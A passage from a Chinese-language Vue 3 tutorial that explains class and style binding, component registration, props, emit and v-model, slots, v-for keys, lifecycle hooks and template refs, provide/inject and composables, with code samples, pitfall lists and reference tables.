8. 表单里的 <button> 默认是 type="submit"。 在 <form> 里加个「取消」按钮没写 type="button",一点就触发 submit。这是新手最常见的「为什么我点删除却提交了表单」。

附:修饰符速查

类别写法效果
v-model.lazychange 事件才同步
v-model.number尝试转数字(空串保持 '')
v-model.trim去首尾空格
v-model 参数v-model:title="t"指定组件上的模型名(对应 title + update:title)
事件.stop / .prevent / .capture / .self / .once / .passive见上文代码块
事件修饰符顺序有意义.self 在前会拦掉后续处理
按键.enter .tab .delete .esc .space .up .down .left .right别名
系统键.ctrl .shift .alt .meta + .exact.exact 表示「只能按这组键」

七、class 与 style 绑定:动态外观的正确写法

界面状态要反映在样式上(选中项高亮、进度条长度、主题色),靠字符串拼 class 迟早出问题。Vue 给了对象/数组两种结构,让「样式」和「状态」一一对应。

class:对象语法与数组语法

<!-- 对象:键是类名,值是布尔 -->
<div :class="{ active: isActive, 'text-danger': hasError }">

<!-- 对象整体绑定(把逻辑收进 computed,模板保持干净) -->
<div :class="classObj">
<script setup>
const classObj = computed(() => ({
  active: props.isActive,
  disabled: props.count === 0,
  'is-large': props.size === 'large'
}))
</script>

<!-- 数组:静态类 + 动态类混排 -->
<div :class="[baseClass, isActive ? 'active' : 'inactive', extraClassObj]">

<!-- 三元够用就别上对象;条件超过两个就用对象或 computed -->

含空格或多个类名的键必须加引号('text-danger'),因为它是对象键而不是标识符。

style:对象、数组与 CSS 变量

<div :style="{ width: barWidth + '%' }">
<div :style="{ color: activeColor, 'font-size': fontSize + 'px' }">   <!-- 连字符属性要加引号 -->
<div :style="[baseStyle, themeStyle]">                                <!-- 后者覆盖前者 -->
<div :style="{ '--brand': brandColor }">                              <!-- CSS 变量 -->
  <style>.box { border: 3px solid var(--brand); }</style>

三个约定:驼峰与连字符都能写(fontSize 或 'font-size',连字符形式必须加引号);多来源合并时数组后面的赢(所以别把 !important 当覆盖手段,示例 07 演示了正确做法是调数组顺序);给组件库/全局样式传值,CSS 变量是最干净的路(不必和对方的选择器权重打架)。

组件上的 class 落到哪:单根继承,多根要显式处理

<!-- 单根子组件:class 自动合并到子组件根元素 -->
<tag-chip class="is-primary">Vue</tag-chip>

<!-- 多根子组件(fragment):Vue 不知道往哪放,开发版直接警告 -->
<two-root class="is-primary">…</two-root>

多根组件要显式接收:<div v-bind="$attrs"> 自己决定哪个根拿样式,或者 defineOptions({ inheritAttrs: false }) 后手动分发。示例 07 的最后一块现场触发了这条警告——这是很多人第一次写多根组件时莫名其妙丢样式的原因。

示例 07:动态 class、style 合并与 CSS 变量在新标签页打开

⚠️ 本章的坑

1. 字符串拼接 class 会覆盖静态 class。 class="btn" :class="dynamicClass" 是正确的合并写法;但写成 :class="'btn ' + type" 时,一旦 type 为 undefined 就出现 btn undefined 这个假类名。用对象/数组语法让 Vue 处理合并。

2. !important 之后谁也盖不住。 内联 !important 的优先级高于任何选择器(包括另一个内联声明)。样式不生效时先搜一遍 !important。

3. 连字符 CSS 属性写在对象里不加引号会报错。 :style="{ font-size: '14px' }" 是非法 JS 对象字面量,必须 {'font-size': '14px'} 或改成驼峰 fontSize。

4. 同名类冲突:组件内部的 class 会被外部继承进来。 单根组件上写 class="active",若子组件根元素本来也有 .active 样式,两边规则合并后表现可能诡异。组件样式请用 scoped 或 BEM 前缀(第十八章)。

5. v-show 与 :style 打架。 v-show 靠改 display,你若同时绑定 :style="{ display: 'flex' }",隐藏后会被重新显示出来。要既隐藏又改 display,用 v-if 或把 display 也纳入 computed。

6. transition/animation 的类名由 Vue 管理。 <Transition name="fade"> 需要 .fade-enter-from 等四个类,少写一个(尤其 -from)就没有过渡效果。这是「我的动画怎么不生效」的头号原因(示例见第十四章的 KeepAlive 部分配套说明)。

7. SVG 元素的 class 与 HTML 不同。 SVG 上用 class 绑定没问题,但 className 相关操作要留意;style 里的 fill、stroke 只能对 SVG 生效。给图标换色推荐 CSS 变量 + fill="var(--c)"。

附:动态样式速查

需求推荐写法
单个开关类:class="{ active: isActive }"
二选一:class="ok ? 'ok' : 'no'"
多个类自由组合:class="[base, { a: condA, b: condB }]"
类多且逻辑复杂:class="classObj"(computed 里算)
数值型样式(宽度/高度):style="{ width: w + '%' }"
主题色/第三方样式传值:style="{ '--brand': color }"
多来源样式合并:style="[base, override]"(后者赢)
组件外层加样式单根自动继承;多根用 v-bind="$attrs"

八、组件入门:注册、嵌套与渲染顺序

组件就是把界面切成可复用的块:一个组件有模板、有逻辑、有自己的状态。页面上写 <user-card>,Vue 负责把对应的组件实例创建出来并管理它的生命周期。

一个组件的最小形状

<!-- components/UserCard.vue -->
<script setup>
import { ref } from 'vue'
const likes = ref(0)
</script>

<template>
  <div class="card">
    <slot />
    <button @click="likes++">赞 {{ likes }}</button>
  </div>
</template>

<script setup> 是 Vue 3 的默认写法:顶层 import 的东西、const 声明的变量和函数,模板里都能直接用,不需要 return。

注册:全局与局部

方式代码适合
单文件组件引入(推荐)import UserCard from '@/components/UserCard.vue'(<script setup> 里 import 即可用)一切项目
全局注册app.component('UserCard', UserCard)全站通用的小组件(图标、按钮),代价是失去 tree-shaking
组件内选项注册components: { UserCard }选项式老代码
异步注册defineAsyncComponent(() => import('...'))体积大、非首屏的组件(第十四章)

全局注册有个隐藏代价:打包时无法摇树,哪怕某个页面用不到也会被带上;所以主流做法是「按需 import + <script setup>」,只把图标、按钮这类真正的全局件放插件里注册。

嵌套与渲染顺序

<script setup>
import Panel from './Panel.vue'
</script>
<template>
  <div class="page">
    <Panel title="第一块">内容 A</Panel>
    <Panel title="第二块">内容 B</Panel>
  </div>
</template>

组件树按「父 setup → 父 render → 子 setup → 子 render → 子 mounted → 父 mounted」推进:先自顶向下建好,再自底向上通知「已挂载」。这个顺序解释了为什么父组件 onMounted 里能拿到子组件渲染出来的 DOM。

同一个组件可以在一个页面里出现多次,每个实例的状态各自独立(示例 13 的组合式函数复用也建立在这一点上)。组件自己 <template> 里的初始状态来自它自己 setup 里的 ref,不是共享变量——注意别把状态写到组件文件顶层的模块级变量里,那会变成「所有实例共享」的意外全局状态。

// ✗ 反例:模块级状态,所有实例共享
const shared = ref(0)
export default { setup() { return { shared } } }

// ✓ 正解:状态在 setup 内部创建,每个实例一份
export default { setup() { const own = ref(0); return { own } } }

命名与保留名

  • 组件名用 PascalCase(UserCard)在 .vue 里,模板里也可写 kebab-case(<user-card>),两者等价;浏览器 in-DOM 模板只能用 kebab-case。
  • 组件名不能与 HTML 保留元素冲突(component、template、slot、transition、keep-alive 以及原生标签),Vue 会警告 Do not use reserved names。
  • is 是 HTML 的保留属性,动态组件要用 <component :is="...">(第十四章)。
  • 递归组件必须有可发现的名字:单文件组件用文件名自动推断,其它写法要显式 name 或 defineOptions({ name: 'TreeNode' })。
示例 08:组件注册、嵌套与三层渲染顺序在新标签页打开

示例 08 的第三块把三层组件的 setup / mounted 打印成带时间戳的日志,点「重播」能看到顺序真的重跑一遍。

⚠️ 本章的坑

1. import 了却「找不到组件」。 常见原因是路径后缀漏了 .vue(构建工具默认不解析裸 .vue 扩展名)、或大小写不对(Windows 本地能跑,Linux 构建直接失败)。这是「本地好使、CI 挂了」的头号元凶。

2. 全局注册要在 mount 之前。 注册晚于挂载时,已经渲染出来的那段模板不会回头重算,late-badge 这类组件只可能在后续渲染里被解析到(行为不稳、也不该依赖)。约定:所有 app.component() / app.use() 都写在 app.mount() 前面。

3. 组件名与原生标签重名。 注册 <Button> 是允许的(PascalCase 不冲突),但注册 button 会覆盖原生标签,出现离谱行为。图标/按钮类组件统一加前缀(BaseButton、AppButton)能避免大量麻烦。

4. 状态写在模块顶层。 上面那段反例——const shared = ref(0) 放在文件顶层(defineStore 除外),多实例共享,出现「改了 A 的数据 B 也跟着变」。

5. 多根组件(fragment)带来 attrs 继承问题。 组件顶层并列两个 <div> 时,父级传下来的 class、style、@click 无处可放,开发版会警告「Extraneous non-props attributes」。解决:合并成单根、或显式 v-bind="$attrs"。

6. key 加在组件上是给 Vue 的,不是给组件的。 <user-card :key="id"> 用来强制重建实例(切换用户时清掉内部状态),别指望它在组件 props 里出现。

7. 组件模板里的注释会进渲染结果。 <!-- ... --> 默认被保留进 DOM(除非构建配置移除),大段说明文字建议放 <script> 上方而不是模板里。

附:组件组织速查

问题建议
组件放哪全局共享的进 app/components/(Nuxt)或 src/components/;单页专用的可与页面同目录
命名多词 PascalCase:UserCard;基础组件加前缀:BaseButton;单一实例加 App:AppSidebar
何时拆组件一个块被用了 2 次以上 / 单文件超过 200 行 / 有独立状态要自管
何时别拆只为「看起来整齐」而拆的模板片段——反而要穿多层传 props
传递数据props 向下、emit 向上(第九章);深层用 provide/inject(第十三章)或 store(第十五章)

九、props 与 emit:父子之间的规矩

组件通信的地基是两条:props 向下传数据,emit 向上传事件。核心纪律叫「单向数据流」——子组件不能改父组件传下来的 props,只能读、只能在本地复制一份再改。

props:声明、类型、默认值

<!-- UserCard.vue -->
<script setup>
const props = defineProps({
  name: { type: String, required: true },
  level: { type: Number, default: 1 },
  tags: { type: Array, default: () => [] },      // 对象/数组必须用工厂函数
  meta: { type: Object, default: () => ({}) },
  size: { type: String, validator: (v) => ['s', 'm', 'l'].includes(v) }
})

// 也可以只列类型(简写)
// defineProps(['name', 'level'])
</script>

用类型声明的 String | Number 写作 [String, Number]。校验只在开发版生效(示例 09 把警告接到了迷你控制台里),生产构建里被剥掉——所以它是「写代码时的护栏」,不是运行时保障。

模板里传值的对照,务必分清:

写法传过去的值
:count="1"数字 1
count="1"字符串 "1"
:count="raw"raw 变量的值
:is-ok布尔 true(缺省即 true,仅 Boolean 类型 props 有这个糖)
v-bind="allProps"展开对象里所有字段

props 只读:想改就复制

<script setup>
import { ref, watch } from 'vue'
const props = defineProps({ title: String })

// ✗ 直接改:开发版警告「Avoid mutating a prop directly」
// props.title = '新值'

// ✓ 本地副本 + 同步
const local = ref(props.title)
watch(() => props.title, (v) => { local.value = v })
</script>

如果父子要双向同步,那是 v-model 的活(下面第三段)。

emit:向上传事件

<!-- Child.vue -->
<script setup>
const emit = defineEmits(['like', 'rename', { submit: (payload) => typeof payload === 'string' }])
function tap() { emit('like', 1) }
</script>

<!-- Parent.vue -->
<child @like="count += $event" @rename="name = $event" @submit="onSubmit" />

声明 emits 有两个实际好处:父组件监听时 IDE 有提示;未在 emits 里声明的「事件风格」监听(@xyz)会被当成原生事件透传到根元素,导致触发两次。声明了 emits,Vue 就知道它不是 DOM 事件。

组件上的 v-model

Vue 3 里 v-model 在组件上等价于「modelValue prop + update:modelValue 事件」,并且支持带参数:

<!-- 手写完整版 -->
<script setup>
const props = defineProps({ modelValue: String })
const emit = defineEmits(['update:modelValue'])
</script>
<template><input :value="props.modelValue" @input="emit('update:modelValue', $event.target.value)"></template>

<!-- 父组件用法 -->
<base-input v-model="form.name" />
<price-field v-model:price="item.price" v-model:count="item.count" />

defineModel()(Vue 3.4+)把上面那一大段压缩成一行,新项目推荐:

<script setup>
const model = defineModel()                       // 对应 v-model
const price = defineModel('price', { type: Number, default: 0 })  // 对应 v-model:price
</script>
<template><input v-model="model"></template>

兜底透传:$attrs

父组件传了一堆没被子组件 props 声明的东西(class、data-*、@click、未知属性),它们汇总在 $attrs 里。封装第三方组件时几乎必然用到:

<template>
  <el-input v-bind="$attrs" :model-value="text" @update:model-value="text = $event" />
</template>
示例 09:props 校验、单向数据流与组件 v-model在新标签页打开

示例 09 的第二块是本教程最重要的一条警告现场:子组件里 props.count++ 会打出「Avoid mutating a prop directly」;换成 emit('inc') 由父级改,数据就真的变了。

⚠️ 本章的坑

1. 数组/对象的 default 忘了工厂函数。 default: [] 会让所有实例共享同一个数组(Vue 直接报错要求写成 () => [])。这个强制要求反而帮你避开了一个经典 bug。

2. Boolean 类型的「缺省即 true」。 :disabled 不写值时 props 收到 true;但 disabled=""、disabled 这类 HTML 写法混进来时容易和 String 类型的 props 冲突。同一个 props 不要同时声明 Boolean 和 String,除非清楚这套推断规则。

3. 子组件改 props 里的对象「不报错」。 单向数据流只防「重新赋值 props」,props.user.name = 'x' 这种深层修改 Vue 拦不住(严格来说 readonly 代理会给出警告,但很多人直接把它绕过去了)。约定:深层可改的数据要么交给父级改(emit),要么复制一份本地副本。

4. props 大小写。 模板里传 user-name,子组件声明 userName,Vue 会自动转换——但在浏览器 in-DOM 模板里 :userName="x" 被转成小写后就对不上了。项目里统一 kebab-case 传值最省心。

5. 事件名大小写。 emit('updateName') 与父级 @update-name 不匹配(@ 监听在 in-DOM 模板里是小写)。事件名建议一律 kebab-case。

6. 忘记声明 emits,事件被当原生事件。 结果可能是点击触发两次(一次自定义、一次透传到根 DOM)。上一节说过,这也是要声明 emits 的核心理由。

7. 用 props 解构断掉响应性。 const { title } = defineProps(...) 后 title 是普通值(3.5 之前);老教程里满大街这种写法。安全做法:props.title,或 toRef(props, 'title')。

8. 父级用 v-model 但子组件只声明了 props: ['value'](Vue 2 习惯)。 Vue 3 里模型名变了(modelValue),旧写法静默失效、无任何警告——这是升级项目里最隐蔽的一类 bug。

9. defineProps / defineEmits 只能写在 <script setup> 顶层。 它们是编译器宏(不需要 import),也不能放进函数里调用。看到「找不到 defineProps」多半是误加了 import 或写错了 script 块。

附:父子通信方式对照

场景方案备注
父 → 子props只读,类型/默认值/校验都能声明
子 → 父emit事件名 kebab-case,可带载荷
父 ⇄ 子(表单值)v-model / defineModel()一个组件可有多模型 v-model:xxx
父 → 深层子孙provide / inject第十三章
全局共享状态Pinia第十五章
调用子组件方法模板 ref + defineExpose第十四章,最后手段
未声明属性/事件透传v-bind="$attrs"封装第三方组件必用

十、slot 插槽:把内容塞进组件

props 传的是「数据」,插槽传的是「界面」。有了插槽,组件才能既固定结构(卡片外框、表格骨架)又开放内容。

三种插槽

<!-- CardBox.vue -->
<template>
  <section class="card">
    <header><slot name="header">默认标题</slot></header>
    <main><slot>这里是默认插槽的兜底内容</slot></main>
    <footer><slot name="footer" /></footer>
  </section>
</template>

<!-- 父组件使用 -->
<card-box>
  <template #header>
    <h3>用户列表</h3>
  </template>

  <p>默认插槽的内容写在这里,不用 template 包也行</p>

  <template #footer>
    <button>关闭</button>
  </template>
</card-box>

规则要点:只有一个默认插槽时可以不写 <template>;具名插槽必须写在 <template #名字> 上;子组件里 <slot> 之间的内容就是「父级没传时的兜底」。

作用域插槽:数据归子组件,长相归父组件

插槽内容的作用域属于父组件,拿不到子组件的数据。要让父级按子组件的每行数据自定义渲染,就用作用域插槽(把数据当 props 传给 <slot>):

<!-- UserList.vue -->
<template>
  <div>
    <div v-for="(row, i) in rows" :key="row.id">
      <slot name="row" :row="row" :index="i" :odd="i % 2 === 1">
        <!-- 没自定义时用一个朴素的兜底 -->
        <span>{{ row.name }}</span>
      </slot>
    </div>
  </div>
</template>

<!-- 父组件:同一份数据,两种外观 -->
<user-list :rows="users">
  <template #row="{ row, odd }">
    <span :class="{ zebra: odd }">{{ row.name }} · {{ row.level }}</span>
  </template>
</user-list>

<user-list :rows="users">
  <template #row="{ row }">
    <el-tag>{{ row.name }}</el-tag>
  </template>
</user-list>

这是 Vue 里做「可定制表格 / 下拉选项 / 树节点」的标准手法,也是 element-plus、vuetify 这类库文档里最容易被跳过、却最值钱的一节。

动态插槽名与 v-slot 全貌

<template #[item]="data">        <!-- 方括号里放变量,名字动态决定 -->
<template v-slot:header="props"> <!-- 完整写法,作用域数据整体接住 -->

# 是 v-slot: 的缩写。在浏览器 in-DOM 模板里请用 v-slot:header 完整写法——# 不是合法的 HTML 属性名字符,某些解析路径下会被丢掉(示例 10 有对照)。

Vue 2 的 slot="header" 属性写法和 slot-scope 都已废弃,升级老代码时全局搜这两个词。

示例 10:默认/具名/作用域插槽与编译作用域在新标签页打开

示例 10 的第三块是「同一份数据两种外观」:表格版和卡片版共用同一个 <user-list>,只有作用域插槽不同。

⚠️ 本章的坑

1. 具名插槽的内容直接写在组件里,会全进默认插槽。 <card-box><h3 #header>标题</h3></card-box> 这种「把 #header 加在普通元素上」在 Vue 3 里不合法(v-slot 只能用在 <template> 或组件上),内容会落进默认插槽或触发警告。

2. 插槽内容里访问不到子组件的数据。 这是设计如此(编译作用域归父级),不是 bug。要数据就得走作用域插槽——新手常在这里绕一大圈。

3. 传了插槽但子组件里没有 <slot>。 开发版警告「Extraneous non-emits event listeners / Slot content was provided」,内容被静默丢弃。封装组件时先确认 <slot> 写全了。

4. 同一个作用域插槽内容会被求值多次。 在插槽里读 $slots.row(...) 手动调用时,每次调用都是重新执行一次父级函数,带副作用的写法会重复触发。

5. v-if 控制插槽内容时,父组件里的条件变量与子组件无关。 「插槽没显示」的排查顺序应该是:条件真值 → 插槽名拼写 → 子组件有没有对应 <slot>。

6. 默认插槽与具名插槽混用时,$slots.default 可能包含空白节点。 早期版本要做 trim 判断,Vue 3 已处理;但若你在 render 函数里手写插槽判断,仍需检查返回内容是否真的有意义。

7. 具名插槽的兜底内容别忘写。 <slot name="footer" /> 空着时,父级不传就是一块空白框(外框样式还在,看着像 bug)。要么写兜底,要么用 v-if="$slots.footer" 把外层容器也省掉。

附:插槽语法速查

需求子组件写法父组件写法
默认插槽 + 兜底<slot>兜底内容</slot><card>内容</card>
具名插槽<slot name="header" /><template #header>…</template>
作用域插槽<slot name="row" :row="r" /><template #row="{ row }">…</template>
插槽默认值<template #footer><p>默认页脚</p></template> 写在 <slot> 内—
动态插槽名<slot :name="slotName" /><template #[slotName]>…</template>
判断父级是否传了v-if="$slots.footer"—
in-DOM 模板<slot name="header"><template v-slot:header>(别用 #)
Vue 2 旧写法(已废弃)<slot name="x"><template slot="x" slot-scope="p">

十一、v-for 与 key:列表渲染的稳定性

v-for 把数组变成一串节点,key 告诉 Vue「哪个节点代表哪条数据」。这两件事写对了,列表才有正确的状态和能接受的性能——示例 11 用一个小勾选框演示了写错的后果。

四种可遍历的数据

<li v-for="item in list" :key="item.id">{{ item.name }}</li>              <!-- 数组 -->
<li v-for="(item, i) in list" :key="item.id">{{ i }}: {{ item.name }}</li> <!-- 带索引 -->
<li v-for="(val, key) in obj" :key="key">{{ key }} = {{ val }}</li>        <!-- 对象 -->
<li v-for="(val, key, i) in obj" :key="key">…</li>                        <!-- 对象带索引 -->
<li v-for="n in 5" :key="n">第 {{ n }} 项</li>                             <!-- 数字:1..5 -->
<li v-for="ch of str" :key="ch">{{ ch }}</li>                             <!-- 字符串 -->

<!-- 不想引入额外元素时用 template 分组 -->
<template v-for="(row, i) in rows" :key="row.id">
  <dt>{{ row.name }}</dt><dd>{{ row.value }}</dd>
</template>

in 和 of 两种连接词等价(of 更接近 JS 的 for...of,可读性略好)。遍历数字时 n 从 1 开始,不是 0——这条反直觉,值得记一下。

key 的三条规矩

  1. 唯一:同层列表内不能重复,否则 Vue 直接警告「Duplicate keys found」,节点复用错乱。
  2. 稳定:同一个数据项在任何一次渲染中 key 不变。用 Math.random()、Date.now() 当 key 会让每次渲染都重建全部节点。
  3. 来自数据本身:优先用后端返回的 id。index 不是 id——只有当「列表顺序固定、永不重排/插入/删除、行内也没有本地状态」时才勉强可用。

用 index 当 key 为什么危险?因为 Vue 靠 key 决定「哪个 DOM 节点属于哪条数据」。用 index 时,头部插入一条数据后,原本第 2 行的节点(带着它的勾选框状态)被当成第 1 行继续用——于是「勾选状态跟着位置走,而不是跟着人走」。示例 11 的两种 key 策略切换就是让你亲眼看到这件事。

v-for 与 v-if 同级:Vue 3 的顺序变了

<!-- ✗ 不要这样写 -->
<li v-for="u in users" v-if="u.active">{{ u.name }}</li>

Vue 3 里 v-if 优先级更高,它会先求值,此时 u 还不存在 → u is not defined。三种正解:

<!-- ① 用 computed 先过滤(首选:只算一次,还能缓存) -->
<li v-for="u in activeUsers" :key="u.id">{{ u.name }}</li>
<script setup>
const activeUsers = computed(() => users.value.filter(u => u.active))
</script>

<!-- ② 条件在外层包一层(template 上不产生额外 DOM) -->
<ul v-if="showUsers">
  <li v-for="u in users" :key="u.id">…</li>
</ul>

<!-- ③ 每一行内部再用 v-if(当「过滤条件」和「行内显示」不是一回事时) -->
<li v-for="u in users" :key="u.id"><span v-if="u.active">{{ u.name }}</span></li>

绝大多数情况选 ①。用 ③ 时注意:不满足条件的行仍然创建了节点,只是里面空着——数据量大时白花一堆开销。

长列表的性能底线

手段什么时候用注意
shallowRef 存列表上千条、且行内不需要深层响应更新时要整体替换新数组
分页 / 无限滚动一次没必要全放IntersectionObserver 触发加载
虚拟列表(vue-virtual-scroller 等)万级、固定行高需要稳定的高度与 key
v-memo="[row.id, row.done]"列表项内部有昂贵计算依赖数组要写全,漏了就是「不更新」
v-once纯静态片段一次之后永不更新
把行抽成子组件行内有自己的状态与逻辑子组件 props 用浅比较天然省下渲染
示例 11:index 作 key 的错位现场与 v-for/v-if 顺序在新标签页打开

⚠️ 本章的坑

1. key 缺失时 Vue 用「原地复用」策略。 不报错、看起来也正常,直到你插入/删除一行——输入框内容错位、checkbox 状态错乱。开发版会警告,生产版不警告,这是「测试环境好、线上用户截图说状态乱」的经典成因。

2. index 当 key + 行内组件本地状态 = 灾难。 组件实例被复用时不会重新初始化,data/ref 留下的就是上一行的旧值。

3. v-for 里直接改数组会让遍历与渲染互相打断。 在循环体内 list.splice(i, 1) 删除当前项属于「边遍历边改」,请改用 filter 生成新数组赋值回去。

4. 对象遍历的顺序依赖 Object.keys。 数字键会被提前排序({2: 'a', 1: 'b'} 遍历顺序是 1、2),需要顺序就用数组,或 Object.entries 自己排。

5. <transition-group>(Vue 3 里叫 <TransitionGroup>)必须有 key。 少 key 时进出场动画错位。

6. key 不是给 DOM 用的属性。 它不会出现在渲染出的 HTML 里,别指望用 querySelector('[key=1]') 找元素。

7. 深层嵌套列表的 key 要带上层级信息。 两层都用 index 时,跨层复用会产生「A 分支展开了 B 分支的状态」。用 row.id + level 之类的组合字符串。

8. 列表数据整体替换 vs 局部修改。 list.value = newArray 会重建所有节点(除非 key 稳定);list.value[i].done = true 只改一行。批量改动时用前者并保证 key 稳定,别在循环里逐条改触发几十次更新。

附:列表写法速查

需求写法
数组 + 索引v-for="(item, i) in list" :key="item.id"
对象v-for="(val, key) in obj" :key="key"
数字 1..Nv-for="n in count" :key="n"
不产生额外元素<template v-for="…" :key="…">
过滤后渲染v-for="u in filtered"(filtered 是 computed)
大列表省开销shallowRef + 整体替换、或虚拟滚动
行内动画<TransitionGroup tag="ul" name="list"> + 每行 :key
key 选择后端 id > 本地生成的稳定 id > index

十二、生命周期与模板 ref:什么时候可以碰 DOM

组件从创建到销毁有一串确定的时刻。想知道「哪段代码该写在哪个时机」,靠的就是这张时序表;而「什么时候才能读 DOM」只有一个答案:挂载之后。

六个钩子与它们的时机

<script setup>
import { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } from 'vue'
const n = ref(0)

console.log('1. setup():此刻还没有 DOM')
onBeforeMount(() => console.log('2. beforeMount:渲染函数准备好,DOM 还没插进页面'))
onMounted(() => console.log('3. mounted:DOM 已就绪,可以读/操作元素、起定时器、发请求'))
onBeforeUpdate(() => console.log('4. beforeUpdate:数据变了,DOM 尚未更新'))
onUpdated(() => console.log('5. updated:DOM 已跟上新数据'))
onBeforeUnmount(() => console.log('6. beforeUnmount:卸载前,做清理'))
onUnmounted(() => console.log('7. unmounted:已从 DOM 移除'))
</script>

组合式里没有 created——setup() 本身就取代了 beforeCreate/created。也没有 onBeforeSetup 这种东西。

该写在哪个钩子里:起定时器/加全局监听/初始化第三方图表实例 → onMounted;对应的清理 → onBeforeUnmount(或 onUnmounted);订阅全局事件 + 取消 → 同一对钩子;读 DOM → onMounted 或 nextTick 之后;数据变化后的 DOM 副作用 → 优先 watch(..., { flush: 'post' }),而不是 onUpdated(后者每次任何更新都触发,很容易写出循环)。

DOM 是异步更新的:nextTick

function add() {
  list.value.push(Date.now())
  console.log(el.value.children.length)      // ✗ 还是旧数量,DOM 还没更新
  nextTick(() => console.log(el.value.children.length))  // ✓ 更新后
}

Vue 把同一批数据变更合并成一次更新(微任务),所以「改完数据立刻读 DOM」拿到的必然是旧值。三种等 DOM 的办法:nextTick()、watch 配 flush: 'post'、onUpdated(最不推荐)。

模板 ref:拿到元素或子组件实例

<script setup>
import { ref, useTemplateRef, onMounted } from 'vue'
const inputEl = ref(null)                 // 名字与模板里的 ref 属性对应
// Vue 3.5 推荐写法(避免「ref 变量」与「ref 属性」混淆):
// const inputEl = useTemplateRef('search-input')
</script>

<template>
  <input ref="search-input" v-model="q" placeholder="搜索">
  <UserCard ref="card" />
</template>

四条规则:

  1. mounted 之前它是 null。 在 setup 顶层直接 inputEl.value.focus() 必然报错。
  2. 出现在 v-for 里的 ref 会被 Vue 收集成数组(ref="rowEl" 时 rowEl.value 是数组)。
  3. 给组件加 ref 拿到的是组件实例,而不是 DOM 元素;<script setup> 的组件默认不暴露任何东西,父级拿到的是个空壳,需要子组件 defineExpose({ focus, reset })(第十四章有现场)。
  4. 要拿原生 DOM,ref 加在原生元素上即可;动态 ref 名用函数形式 :ref="(el) => { els[i] = el }"。
示例 12:生命周期时间轴、nextTick 与卸载清理在新标签页打开

示例 12 最值得看的是第 2 块:不写 onUnmounted 清理时,组件已经卸载、日志还在一秒一秒往外刷——这就是线上「路由切走了还在轮询」的成因。

⚠️ 本章的坑

1. 在 setup 顶层访问 DOM。 document.querySelector、el.value.focus() 写在 setup 里执行时机会导致拿到 null(或 SSR 时 document is not defined)。挪进 onMounted。

2. 忘记清理:定时器、全局事件、WebSocket、IntersectionObserver、watch 手动 stop。 卸载后回调还在跑,轻则内存泄漏,重则在已销毁的组件里改数据。规则很简单:在哪创建的订阅,就在对应的卸载钩子里关掉。

3. 组件被 KeepAlive 缓存时不会触发 unmounted。 切走只走 onDeactivated。你在 onMounted 里起的定时器,切走时不会停(第十四章专门讲这个)。

4. onUpdated 里再改响应式数据 → 递归更新。 报 Maximum recursive updates exceeded,页面卡死。想「数据变化后同步 DOM」用 watch + flush: 'post'。

5. v-if 控制的 ref 在隐藏时是 null。 任何 xxx.value.method() 之前要判空,或用可选链 inputEl.value?.focus()。

6. 异步回调里假设组件还活着。 setTimeout(() => { data.value = res }, 3000),用户 1 秒后就切走了——给组件赋值虽然不报错,但请求竞态会污染下一次进入的界面。卸载时清 timer,或加「实例仍存活」标记。

7. 模板 ref 名字与响应式变量重名会被覆盖。 一个 setup 里既有普通 const el = ref(0) 又给元素写 ref="el",行为难料。约定 ref 变量统一以 El 结尾(inputEl、chartEl)。

附:钩子时序与用途表

顺序钩子 / 阶段能做什么别做什么
1setup()声明 ref/computed/watch、注册 provide访问 DOM、发请求(无 SSR 时勉强但没必要)
2onBeforeMount极少用读 DOM(还没插)
3onMounted读 DOM、起 timer、第三方实例、首次请求忘记配套卸载清理
4onBeforeUpdate记录更新前的 DOM 状态(如滚动位置)改响应式数据
5onUpdated几乎不需要在里面改数据(递归更新)
6onBeforeUnmount清理 timer/监听/实例异步操作(来不及 await)
7onUnmounted兜底清理假设 DOM 还在
—onActivated / onDeactivated仅 KeepAlive 内,替代 mounted/unmounted 的重复触发当成普通钩子写重复逻辑

十三、provide / inject 与组合式函数:跨层级与逻辑复用

props 一层层传下去(俗称「prop drilling」)传三层就没人忍得了;把组件里的通用逻辑抽出来复用,又是另一件事。这一章解决这两个「组织问题」。

provide / inject:跨层级传值

<!-- 祖先组件 ThemePanel.vue -->
<script setup>
import { provide, ref, readonly, computed } from 'vue'
const theme = ref('light')
const toggle = () => { theme.value = theme.value === 'light' ? 'dark' : 'light' }

provide('theme', readonly(theme))       // 只读的值
provide('toggleTheme', toggle)          // 改的动作交给后代
provide('user', computed(() => store.user))
</script>

<!-- 任意深度的后代 -->
<script setup>
import { inject } from 'vue'
const theme = inject('theme')
const toggle = inject('toggleTheme')
const lang = inject('lang', 'zh')       // 第二个参数:没找到时的默认值
const conf = inject('conf', () => ({}), { treatAsDefault: true })  // 工厂默认值
</script>

要点:provide 的是 ref/computed 时才有响应性(示例 13 有对照);用 symbol 做 key(const ThemeKey = Symbol())能避免和第三方库撞名,也便于 TS 推断;祖先每次 provide 同一个 key 会覆盖上一层。

它适合「主题、语言、当前表单上下文、面板布局」这类语义上属于环境、但只在局部子树生效的数据。别把它当全局状态仓库——一旦某个组件被抽走,后代就静默拿到默认值。

组合式函数:Vue 3 的复用单位

mixin(Vue 2)的问题是会撞名、来源不明。Vue 3 的答案是组合式函数:一个用到了响应式 API 的普通函数,约定命名 useXxx。

// composables/useCounter.js
import { ref } from 'vue'

/**
 * 一个独立的计数器状态。
 * @param {number} [init=0] 初始值
 * @returns {{ count: import('vue').Ref<number>, inc: () => void, reset: () => void }}
 */
export function useCounter(init = 0) {
  const count = ref(init)              // 每次调用都新建,互不干扰
  return { count, inc: () => count.value++, reset: () => { count.value = init } }
}
// composables/useLocalStorage.js
import { ref, watch } from 'vue'

/**
 * 与 localStorage 同步的 ref。
 * @param {string} key 存储键名
 * @param {any} fallback 读不到(或解析失败)时的兜底值
 */
export function useLocalStorage(key, fallback) {
  let initial = fallback
  try { initial = JSON.parse(localStorage.getItem(key)) ?? fallback } catch { /* 脏数据兜底 */ }
  const data = ref(initial)
  watch(data, (v) => {
    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('存储失败', e) }
  }, { deep: true })
  return data
}

在组件里用:

<script setup>
import { useCounter, useLocalStorage } from '@/composables'
const { count, inc } = useCounter(0)
const note = useLocalStorage('todo-note', '')
</script>

写组合式函数的四条约定:

  1. 名字以 use 开头,放 composables/ 目录(Nuxt 里连 import 都不用写)。
  2. 返回值用 ref/computed 而不是普通值,否则解构就丢响应性。
  3. 入参接受 ref 时用 toValue() / unref() 读,让调用方能传常量也能传响应式值。
  4. 内部注册的 watch、onMounted、provide、inject 会自动挂到调用它的组件上——前提是在 setup 的同步执行期调用。
